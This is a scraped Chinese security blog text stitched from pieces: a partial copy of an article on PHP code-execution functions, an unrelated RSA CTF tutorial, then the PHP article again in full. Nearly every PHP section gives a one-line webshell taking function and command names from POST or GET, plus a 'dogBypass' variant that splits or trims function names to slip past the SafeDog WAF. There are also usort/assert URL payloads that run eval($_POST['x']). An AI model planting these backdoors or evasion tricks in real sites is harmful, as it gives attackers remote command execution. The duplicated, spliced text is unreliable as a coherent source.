把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。 

参数:

callback

被调用的回调函数。 

param_arr

要被传入回调函数的数组,这个数组得是索引数组。 

返回值:

返回回调函数的结果。如果出错的话就返回FALSE 

 

Example #1 call_user_func_array()例子

<?php

function foobar($arg, $arg2) {

    echo __FUNCTION__, ” got $arg and $arg2\n”;

}

class foo {

    function bar($arg, $arg2) {

        echo __METHOD__, ” got $arg and $arg2\n”;

    }

}

// Call the foobar() function with 2 arguments

call_user_func_array(“foobar”, array(“one”, “two”));

 

// Call the $foo->bar() method with 2 arguments

$foo = new foo;

call_user_func_array(array($foo, “bar”), array(“three”, “four”));

?> 

 

以上例程的输出类似于:

foobar got one and two

foo::bar got three and four

““`

利用示例代码 &【dogBypass】

<?php

//func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_array[0]=$_POST['cmd'];

call_user_func_array($bad_func,$bad_array);

?>

 

0×07 array_filter函数

“““

源自官方的解释:

array_filter

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_filter — 用回调函数过滤数组中的单元 

说明:

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 

参数:

array

要循环的数组 

callback

使用的回调函数 

如果没有提供 callback 函数, 将删除 array 中所有等值为 FALSE 的条目。更多信息见转换为布尔值。 

flag

决定callback接收的参数形式: 

• ARRAY_FILTER_USE_KEY – callback接受键名作为的唯一参数 

• ARRAY_FILTER_USE_BOTH – callback同时接受键名和键值 

返回值:

返回过滤后的数组。

 

Example #1 array_filter() 例子

<?php

function odd($var)

{

    // returns whether the input integer is odd

    return($var & 1);

}

 

function even($var)

{

    // returns whether the input integer is even

    return(!($var & 1));

}

 

$array1 = array(“a”=>1, “b”=>2, “c”=>3, “d”=>4, “e”=>5);

$array2 = array(6, 7, 8, 9, 10, 11, 12);

 

echo “Odd :\n”;

print_r(array_filter($array1, “odd”));

echo “Even:\n”;

print_r(array_filter($array2, “even”));

?> 

以上例程会输出:

Odd :

Array

(

    [a] => 1

    [c] => 3

    [e] => 5

)

Even:

Array

(

    [0] => 6

    [2] => 8

    [4] => 10

    [6] => 12

)

 

“““

利用代码示例&【dogBypass】

<?php

//func=system&cmd=whoami

$cmd =$_POST['cmd'];

$func =$_POST['func'];

$array1 =array($cmd);

$evil = trim(‘a r ra y_fi lt er’);

$evil = str_replace(” “, “”, $evil);

$evil($array1, $func);

?>

 

0×08 usort函数

 

““`

源自官方的解释:

(PHP 4, PHP 5, PHP 7)

usort — 使用用户自定义的比较函数对数组中的值进行排序 

说明:

bool usort ( array &$array , callable $value_compare_func )

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。 

Note: 

If two members compare as equal, their relative order in the sorted array is undefined. 

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名,而不是仅仅将键名重新排序。

参数

array

输入的数组 

cmp_function

在第一个参数小于,等于或大于第二个参数时,该比较函数必须相应地返回一个小于,等于或大于 0 的整数。 

int callback ( mixed $a, mixed $b )

Caution 

Returning non-integer values from the comparison function, such as float, will result in an internal cast to integer of the callback’s return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal. 

返回值

成功时返回 TRUE, 或者在失败时返回 FALSE。 

“““

利用代码示例:

源自 am0s师傅的博客:http://www.am0s.com/functions/97.html

php>=5.6

<?php usort(…$_GET);?>

GET: [['$a=0','eval($_POST["x"])’],’assert’];

http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert

php>=<5.6

<?php usort($_GET,’asse’.'rt’);?>

http://www.url.com/test.php?1=1+1&2=eval($_POST[x])

 

这里am0s师傅利用到了PHP5.6的一个特性:

 08.png

 

利用代码示例&【dogBypass】

<?php

$cmd =$_POST['cmd'];

$func =$_POST['func'];

$array1 =array(1,$cmd);

$a =  usort($array1, $func);

?>

 

0×09 uasort函数

“““

(PHP 4, PHP 5, PHP 7)

uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 

说明:

bool uasort ( array &$array , callable $value_compare_func )

本函数对数组排序并保持索引和单元之间的关联。 

主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。 

Note: 

If two members compare as equal, their relative order in the sorted array is undefined. 

参数:

array

输入的数组。 

value_compare_func

用户自定义比较函数的例子请参考 usort() 和 uksort()。  

返回值:

成功时返回 TRUE, 或者在失败时返回 FALSE。 

 

Example #1 uasort() 的基本例子

<?php

// Comparison function

function cmp($a, $b) {

    if ($a == $b) {

        return 0;

    }

    return ($a < $b) ? -1 : 1;

}

// Array to be sorted

$array = array(‘a’ => 4, ‘b’ => 8, ‘c’ => -1, ‘d’ => -9, ‘e’ => 2, ‘f’ => 5, ‘g’ => 3, ‘h’ => -4);

print_r($array);

 

// Sort and print the resulting array

uasort($array, ‘cmp’);

print_r($array);

?> 

以上例程会输出:

Array

(

    [a] => 4

    [b] => 8

    [c] => -1

    [d] => -9

    [e] => 2

    [f] => 5

    [g] => 3

    [h] => -4

)

Array

(

    [d] => -9

    [h] => -4

    [c] => -1

    [e] => 2

    [g] => 3

    [a] => 4

    [f] => 5

    [b] => 8

)

“““

利用代码 示例& 【dogBypass】

 

<?php

$cmd =$_POST['cmd'];

$func =$_POST['func'];

$array1 =array(1,$cmd);

$a =  uasort($array1, $func);

?>

 

总结:

希望本篇可以帮助大家在代码审计中理清楚需要重点关注的危险函数,当然大伙如果有其他代码执行函数也可提出,一起讨论交流,后续会逐步补充些新发现的代码执行函数以及实际的代码审计案例,顺带说下有些时候dogBypass 并没有想象中那么复杂 :)

640.webp.jpg

首图.png

RSA是一种非对称加密算法,它由 公钥(n/e),私钥(n/d),明文M和密文C组成。我们做CTF题目时,一般题目中会给出公钥和密文让我们推出对应的私钥或者明文。RSA的相关公式都写在上面脑图中,在正式讲解RSA加密算法前我们先来普及一波数学的基本知识。

一、相关数学基础


1.1素数和互质数

素数也称质数,它的定义为除本身和 1 的乘积外,不能表示其他数的乘积。比如2,3,5,7,11,13,17……等都是素数。

互素数也称互质数,定义是公约数只有1的两个自然数,如:

 1和任何自然数 1 & 2

 任意 2个质数 2 & 3

 相邻2个自然数 4 & 5

 3 & 10 、7 & 10 、5 & 26等等

1.2模指数运算

模运算就是取余数,如5 mod 3 =2。而模指数就是,先做指数运算在做mod运算。

如:53 mod 7 = 125 mod 7 =6

我们可以使用python的pow()来求解模指数运算。

 1.2.png

1.3同余运算

两个整数a,b,它们除以整数M所得的余数相等:a ≡ b(mod m),比如说5除3余数为2,11除3余数也为2,于是可写成11 ≡ 5(mod 3)。

二、RSA加密算法


2.1 加解密算法

前面已经说过,RSA是一种非对称加密算法,这个算法的特点就是明文使用公钥进行加密得到密文,而密文解密使用私钥来解。

2.1.png

所需的密钥对为n,d,e。密钥对是如何生成的?

2.2 生成密钥对

密钥对的生成步骤如下:n → Led (L作为生成过程中的中间数)

2.2.png

 

三、CTF题目实战


3.1 First Blood 已知p、q、e求d

题目链接 : http://www.shiyanbar.com/ctf/1828

题目:

在一次RSA密钥对生成中,假设p=473398607161,q=4511491,e=17,求解出d

此题直接告诉我们p、q、e,让我们求解d

而d的计算公式为d*e ≡ 1 (mod L*i)  ,i=1,2,3…,

由于1和任何数做mod都为1,所有该公式又可转换为:

d*e mod (L*i )=1 , i=1,2,3…。

d*e除(L*i)的余数为1,即d*e = (L*I) + 1 。

直接使用脚本进行实现。

p = int(raw_input(“Entera p: “))  
q
= int(raw_input(“Entera q: “)) 
e
= int(raw_input(“Entera e: “))  
t
= (p-1)*(q-1)  
i
=
while True :  
  
if (1-t*i)%e == 0:  
     
break  
  
i-=1  
  
print i
print ‘ok:’ + ‘%d’ % ((1-t*i)/e)

求d的脚本,也可以又rsatool.py这个脚本来实现,需要安装gmpy这个模块,链接如下:

链接:http://pan.baidu.com/s/1bCDyoQ 密码:09gj

3.2 Double Kill  已知p、q、e和密文 求明文

题目链接 : http://www.shiyanbar.com/ctf/1979

题目:

Use RSA to find the secret message

直接跑上题脚本获取d:

3.2 1.png

3.2 2.png

 3.2 3.png

5577446633554466577768879988

3.3 Triple Kill  已知n、e和密文 求明文

题目链接 : http://www.shiyanbar.com/ctf/1918 

3.3 1.png

 

n=920139713,e=19

因式分解 n 用yafu 或者在线因式分解

使用yafu:链接:http://pan.baidu.com/s/1croXpO 密码:w43p

分解.png

在线地址:

http://www.atool.org/quality_factor.php

 在线地址.png

p=18443,q=49891

求d:

 d.png

d=96849619

解密:

 jiemi 1.png

 jiemi 2.png

flag{13212je2ue28fy71w8u87y31r78eu1e2}

3.4 Quadra Kill  已知公钥和密文 求明文

题目链接 : http://www.shiyanbar.com/ctf/1772  

题目:

 3.4 1.png

此题只给了公钥,并没有做分解,我们可以对题目所给的公钥进行分解。

python实现:

 

getn-e.py

from Crypto.PublicKeyimport RSA
pub
=RSA.importKey(open(‘public.pem’).read())
n
=long(pub.n)
e
=long(pub.e)
print “n=”,hex(n)
print “e=”,hex(e)

open.png

或则使用openssl:

ssl.png

使用yafu分解n 的值

 n.png

rsa-d.py计算d 的值

 d 1.png

 d2.png

明文 = 密文d mod n

 mingwen.png

3.5 Penta Kill  已知公钥和密文 求明文

题目链接 : http://www.shiyanbar.com/ctf/730 

题目:

 3.5 tui.png

3.5 tu 2.png

 

分解公钥得n、e的值,然后求解d,这边提供另外一种求解d的方案,就是利用github上的一个开源项目

github: https://github.com/pablocelayes/rsa-wiener-attack

 git.png

 脚本.png

python脚本下载:链接:http://pan.baidu.com/s/1qXVhKpI 密码:fuef

三、总结

限于篇幅,本篇先到这里告一个断落,下期会带来一些有一定难度RSA题目的解法,敬请期待,让斗哥带你走上RSA超神之路吧!

640.webp.jpg

本篇涉及函数:eval()、assert()、preg_repace()、create_function()、array_map()、call_user_func()、call_user_func_array(),array_filter,usort,uasort()

 

背景:

最近研究PHP的一些危险函数,先写下代码执行函数的归纳,主要是参考自官方手册的解读,并附上了一些dogBypass的一句话,为什么是dog呢?因为在我看来dog比较适合练手,所以本篇所有bypass仅适用dog(事实是因为时间有限 没有研究其他防护软件~),其他的防护需要自行测试,大家如果有其他代码执行函数也可提出,一起讨论交流。

00.png

0×00 eval结构图

 

eval函数会将字符串作为PHP代码执行,如常见的一句话后门程序:<?php eval($_POST[cmd])?>, 属于基础内容本篇暂不讨论。

 

0×01 assert函数

 

最常用的回调函数,验证assert后面的括号里的代码是否为true的函数。如果表达式不为true,那么则会给一个warning的警告

如:<?php assert(’1==2′);?> 

则会提醒:PHP Warning:  assert(): Assertion “1==2” failed in /usercode/file.php on line 1。

 

【利用示例代码】

<?php

//?cmd=phpinfo()

assert($_GET['cmd']);

?>

 

【dogBypass】

<?php

//cmd=phpinfo()

function cl  (){

return ‘assert’;

}

$a = cl();

$a($_POST['cmd']);

?>

assert_options  用于设置/获取断言的各种标志。 

“““

源自官方的解释,关键点:失败回调函数。

参数:

what

标志 INI 设置 默认值 描述

ASSERT_ACTIVE assert.active 1 启用 assert() 断言

ASSERT_WARNING assert.warning 1 为每个失败的断言产生一个 PHP 警告(warning)

ASSERT_BAIL assert.bail 0 在断言失败时中止执行

ASSERT_QUIET_EVAL assert.quiet_eval 0 在断言表达式求值时禁用 error_reporting 

ASSERT_CALLBACK assert.callback (NULL) 断言失败时调用回调函数

断言标志

value

标志的新值。 

返回值:返回任意标志的原始设置,出错时返回 FALSE。

 

【示例代码】

<?php

// 处理断言失败时的函数

function assert_failure()

{

    echo ‘Assert failed’;

}

 

// 我们的测试函数

function test_assert($parameter)

{

    assert(is_bool($parameter));

}

// 设置断言标志

assert_options(ASSERT_ACTIVE,   true);

assert_options(ASSERT_BAIL,     true);

assert_options(ASSERT_WARNING,  false);

assert_options(ASSERT_CALLBACK, ‘assert_failure’);

 

// 让一个断言会失败

test_assert(1);

 

// 由于 ASSERT_BAIL 是 true,这里永远也到不了

echo ‘Never reached’;

?> 

“““

0×02 preg_replace函数 : php<=5.5

 

执行一个正则表达式的搜索和替换,函数在php5.5被弃用,在php7.0被移除。

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

搜索subject中匹配pattern的部分, 以replacement进行替换。

当第一个参数的正则表达式有e修正符的时候,第二个参数的字符串当做PHP代码执行。

 

““`

源自官方的解释;

e (PREG_REPLACE_EVAL)

Warning

This feature was DEPRECATED in PHP 5.5.0, and REMOVED as of PHP 7.0.0.

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线(\)和 NULL 字符在 后向引用替换时会被用反斜线转义. 

““`

【示例代码】

<?php

//?cmd=phpinfo()

echo preg_replace(“/test/e”,$_GET["cmd"],”jutsttest”);

?>

 

0×03 creat_function函数

用于创建匿名函数, 使用了eval的操作存在某些安全性问题。

““`

源自官方的解释:

(PHP 4 >= 4.0.1, PHP 5, PHP 7)

create_function — Create an anonymous (lambda-style) function

 

语法:

string create_function ( string $args , string $code )

 

参数:

args The function arguments. 

code The function code.

Caution :

This function internally performs an eval() and as such has the same security issues as eval(). Additionally it has bad performance and memory usage characteristics.

 

返回值:

Returns a unique function name as a string, or FALSE on error。

“““

 

【用法理解】

<?php

$foo = create_function( ‘$x’, ‘return $x * 2;’ );

echo $foo( 10 );

?> 

 

相当于:

<?php

function foo ($x){

    return $x *= 2;

};

echo foo( 10 );

?> 

 

create_function的实现步骤:(参考自:http://www.laruence.com/2010/06/20/1602.html  讲解更为清晰)

    1. 获取参数, 函数体

    2. 拼凑一个”function __lambda_func (参数) { 函数体;} “的字符串

    3. eval之

    4. 通过__lambda_func在函数表中找到eval后得到的函数体, 找不到就出错

    5. 定义一个函数名:”\000_lambda_” . count(anonymous_functions)++

    6. 用新的函数名替换__lambda_func

    7. 返回新的函数名

 

问题一:未对要传入create_function中的代码做清理,执行的code拼接了可控变量的数据,导致可以将evil代码传入并被执行。【场景:直接写入恶意代码】

 

详细介绍:https://www.t00ls.net/viewthread.php?tid=20774

国文参考:http://lovexm.blog.51cto.com/3567383/1743442

外文参考:https://ttmm.io/tech/php-security-lambdas/

 

利用示例代码 &【dogBypass】

<?php

//post:name1=Thinking&name2=JoeVatte;}phpinfo();/*

$name1 = $_POST['name1'];

$name2 = $_POST['name2'];

$str = ‘return’.$name1.” & “.$name2.’;';

echo $str.’<br >’;

$newfunc = create_function(‘$name1′,$str);

 

问题二: 用于函数函数回调,个人理解就是create_function内部会使用eval,将传入的字符串进行eval得到函数体,在执行该函数。【场景:找到相应函数所在位置,审查是否有可以利用的地方】 有疑问:如何函数回调的例子。

“““

源自官方的解释:

Using anonymous functions as callback functions

<?php

$av = array(“the “, “a “, “that “, “this “);

array_walk($av, create_function(‘&$v,$k’, ‘$v = $v . “mango”;’));

print_r($av);

?> 

 

以上例程会输出:

Array

(

  [0] => the mango

  [1] => a mango

  [2] => that mango

  [3] => this mango

)

“““

示例代码,例子不好没想到怎么构造:

<?php

function evil($evil)

{

    echo $evil.’:test | ‘;

}

$av = array(“the “, “a “, “that “, “this “);

array_walk($av, create_function(‘&$v,$k’, ‘evil($v);’));

print_r($av);

?> 

0×04 array_map函数

 

““`

源自官方的解释:

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_map — 为数组的每个元素应用回调函数 

说明:

array array_map ( callable $callback , array $array1 [, array $... ] )

array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。 

参数:

callback

回调函数,应用到每个数组里的每个元素。 

array1

数组,遍历运行 callback 函数。 

数组列表,每个都遍历运行 callback 函数。 

返回值:

返回数组,包含 callback 函数处理之后 array1 的所有元素。

 

Example #1 array_map() 例子

<?php

function cube($n)

{

    return($n * $n * $n);

}

 

$a = array(1, 2, 3, 4, 5);

$b = array_map(“cube”, $a);

print_r($b);

?> 

这使得 $b 成为: 

Array

(

    [0] => 1

    [1] => 8

    [2] => 27

    [3] => 64

    [4] => 125

)

“““

 

【利用示例代码】

<?php

//post:func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_cmd=$_POST['cmd'];

$bad_array[0]=$bad_cmd;

$new_array=array_map($bad_func,$bad_array);

//print_r($new_array);

?>

 

【dogBypass】

<?php

//post:func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_cmd=$_POST['cmd'];

$bad_array[0]=$bad_cmd;

$func_evil=trim(‘ a r ra y_ma p  ’);

$func_evil =str_replace(” “, “”, $func_evil);

$new_array=$func_evil($bad_func,$bad_array);

//print_r($new_array);

?>

 

0×05 call_user_func函数

 

““`

源自官方的解释:

call_user_func

(PHP 4, PHP 5, PHP 7)

call_user_func — 把第一个参数作为回调函数调用, 后续参数作为回调函数的参数传入。

说明:

mixed call_user_func ( callable $callback [, mixed $parameter [, mixed $... ]] )

第一个参数 callback 是被调用的回调函数,其余参数是回调函数的参数。 

参数:

callback

将被调用的回调函数(callable)。 

parameter

0个或以上的参数,被传入回调函数。

 

返回值:

返回回调函数的返回值。

 

call_user_func() 的例子

<?php

function barber($type)

{

    echo “You wanted a $type haircut, no problem\n”;

}

call_user_func(‘barber’, “mushroom”);

call_user_func(‘barber’, “shave”);

?> 

以上例程会输出:

You wanted a mushroom haircut, no problem

You wanted a shave haircut, no problem

 

““`

 

利用示例代码 &【dogBypass】

<?php

//func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_cmd=$_POST['cmd'];

call_user_func($bad_func,$bad_cmd);

?>

 

0×06  call_user_func_array函数

“““

源自官方的解释:

call_user_func_array

(PHP 4 >= 4.0.4, PHP 5, PHP 7)

call_user_func_array — 调用回调函数,并把一个数组参数作为回调函数的参数

说明:

mixed call_user_func_array ( callable $callback , array $param_arr )

把第一个参数作为回调函数(callback)调用,把参数数组作(param_arr)为回调函数的的参数传入。 

参数:

callback

被调用的回调函数。 

param_arr

要被传入回调函数的数组,这个数组得是索引数组。 

返回值:

返回回调函数的结果。如果出错的话就返回FALSE 

 

Example #1 call_user_func_array()例子

<?php

function foobar($arg, $arg2) {

    echo __FUNCTION__, ” got $arg and $arg2\n”;

}

class foo {

    function bar($arg, $arg2) {

        echo __METHOD__, ” got $arg and $arg2\n”;

    }

}

// Call the foobar() function with 2 arguments

call_user_func_array(“foobar”, array(“one”, “two”));

 

// Call the $foo->bar() method with 2 arguments

$foo = new foo;

call_user_func_array(array($foo, “bar”), array(“three”, “four”));

?> 

 

以上例程的输出类似于:

foobar got one and two

foo::bar got three and four

““`

利用示例代码 &【dogBypass】

<?php

//func=system&cmd=whoami

$bad_func=$_POST['func'];

$bad_array[0]=$_POST['cmd'];

call_user_func_array($bad_func,$bad_array);

?>

 

0×07 array_filter函数

“““

源自官方的解释:

array_filter

(PHP 4 >= 4.0.6, PHP 5, PHP 7)

array_filter — 用回调函数过滤数组中的单元 

说明:

array array_filter ( array $array [, callable $callback [, int $flag = 0 ]] )

依次将 array 数组中的每个值传递到 callback 函数。如果 callback 函数返回 true,则 array 数组的当前值会被包含在返回的结果数组中。数组的键名保留不变。 

参数:

array

要循环的数组 

callback

使用的回调函数 

如果没有提供 callback 函数, 将删除 array 中所有等值为 FALSE 的条目。更多信息见转换为布尔值。 

flag

决定callback接收的参数形式: 

• ARRAY_FILTER_USE_KEY – callback接受键名作为的唯一参数 

• ARRAY_FILTER_USE_BOTH – callback同时接受键名和键值 

返回值:

返回过滤后的数组。

 

Example #1 array_filter() 例子

<?php

function odd($var)

{

    // returns whether the input integer is odd

    return($var & 1);

}

 

function even($var)

{

    // returns whether the input integer is even

    return(!($var & 1));

}

 

$array1 = array(“a”=>1, “b”=>2, “c”=>3, “d”=>4, “e”=>5);

$array2 = array(6, 7, 8, 9, 10, 11, 12);

 

echo “Odd :\n”;

print_r(array_filter($array1, “odd”));

echo “Even:\n”;

print_r(array_filter($array2, “even”));

?> 

以上例程会输出:

Odd :

Array

(

    [a] => 1

    [c] => 3

    [e] => 5

)

Even:

Array

(

    [0] => 6

    [2] => 8

    [4] => 10

    [6] => 12

)

 

“““

利用代码示例&【dogBypass】

<?php

//func=system&cmd=whoami

$cmd =$_POST['cmd'];

$func =$_POST['func'];

$array1 =array($cmd);

$evil = trim(‘a r ra y_fi lt er’);

$evil = str_replace(” “, “”, $evil);

$evil($array1, $func);

?>

 

0×08 usort函数

 

““`

源自官方的解释:

(PHP 4, PHP 5, PHP 7)

usort — 使用用户自定义的比较函数对数组中的值进行排序 

说明:

bool usort ( array &$array , callable $value_compare_func )

本函数将用用户自定义的比较函数对一个数组中的值进行排序。 如果要排序的数组需要用一种不寻常的标准进行排序,那么应该使用此函数。 

Note: 

If two members compare as equal, their relative order in the sorted array is undefined. 

Note: 此函数为 array 中的元素赋与新的键名。这将删除原有的键名,而不是仅仅将键名重新排序。

参数

array

输入的数组 

cmp_function

在第一个参数小于,等于或大于第二个参数时,该比较函数必须相应地返回一个小于,等于或大于 0 的整数。 

int callback ( mixed $a, mixed $b )

Caution 

Returning non-integer values from the comparison function, such as float, will result in an internal cast to integer of the callback’s return value. So values such as 0.99 and 0.1 will both be cast to an integer value of 0, which will compare such values as equal. 

返回值

成功时返回 TRUE, 或者在失败时返回 FALSE。 

“““

利用代码示例:

源自 am0s师傅的博客:http://www.am0s.com/functions/97.html

php>=5.6

<?php usort(…$_GET);?>

GET: [['$a=0','eval($_POST["x"])’],’assert’];

http://www.url.com/t.php?1[]=1-1&1[]=eval($_POST['x'])&2=assert

php>=<5.6

<?php usort($_GET,’asse’.'rt’);?>

http://www.url.com/test.php?1=1+1&2=eval($_POST[x])

 

这里am0s师傅利用到了PHP5.6的一个特性:

 08.png

 

利用代码示例&【dogBypass】

<?php

$cmd =$_POST['cmd'];

$func =$_POST['func'];

$array1 =array(1,$cmd);

$a =  usort($array1, $func);

?>

 

0×09 uasort函数

“““

(PHP 4, PHP 5, PHP 7)

uasort — 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 

说明:

bool uasort ( array &$array , callable $value_compare_func )

本函数对数组排序并保持索引和单元之间的关联。 

主要用于对那些单元顺序很重要的结合数组进行排序。比较函数是用户自定义的。 

Note: 

If two members compare as equal, their relative order in the sorted array is undefined. 

参数:

array

输入的数组。 

value_compare_func

用户自定义比较函数的例子请参考 usort() 和 uksort()。  

返回值:

成功时返回 TRUE, 或者在失败时返回 FALSE。 

 

Example #1 uasort() 的基本例子

<?php

// Comparison function

function cmp($a, $b) {

    if ($a == $b) {

        return 0;

    }

    return ($a < $b) ? -1 : 1;

}

// Array to be sorted

$array = array(‘a’ => 4, ‘b’ => 8, ‘c’ => -1, ‘d’ => -9, ‘e’ => 2, ‘f’ => 5, ‘g’ => 3, ‘h’ => -4);

print_r($array);

 

// Sort and print the resulting array

uasort($array, ‘cmp’);

print_r($array);

?> 

以上例程会输出:

Array

(

    [a] => 4

    [b] => 8

    [c] => -1

    [d] => -9

    [e] => 2

    [f] => 5

    [g] => 3

    [h] => -4

)

Array

(

    [d] => -9

    [h] => -4

    [c] => -1

    [e] => 2

    [g] => 3

    [a] => 4

    [f] => 5

    [b] => 8

)

“““

利用代码 示例& 【dogBypass】

 

<?php

$cmd =$_POST['cmd'];

$func =$_POST['func'];

$array1 =array(1,$cmd);

$a =  uasort($array1, $func);

?>

 

总结:

希望本篇可以帮助大家在代码审计中理清楚需要重点关注的危险函数,当然大伙如果有其他代码执行函数也可提出,一起讨论交流,后续会逐步补充些新发现的代码执行函数以及实际的代码审计案例,顺带说下有些时候dogBypass 并没有想象中那么复杂 :)

640.webp.jpg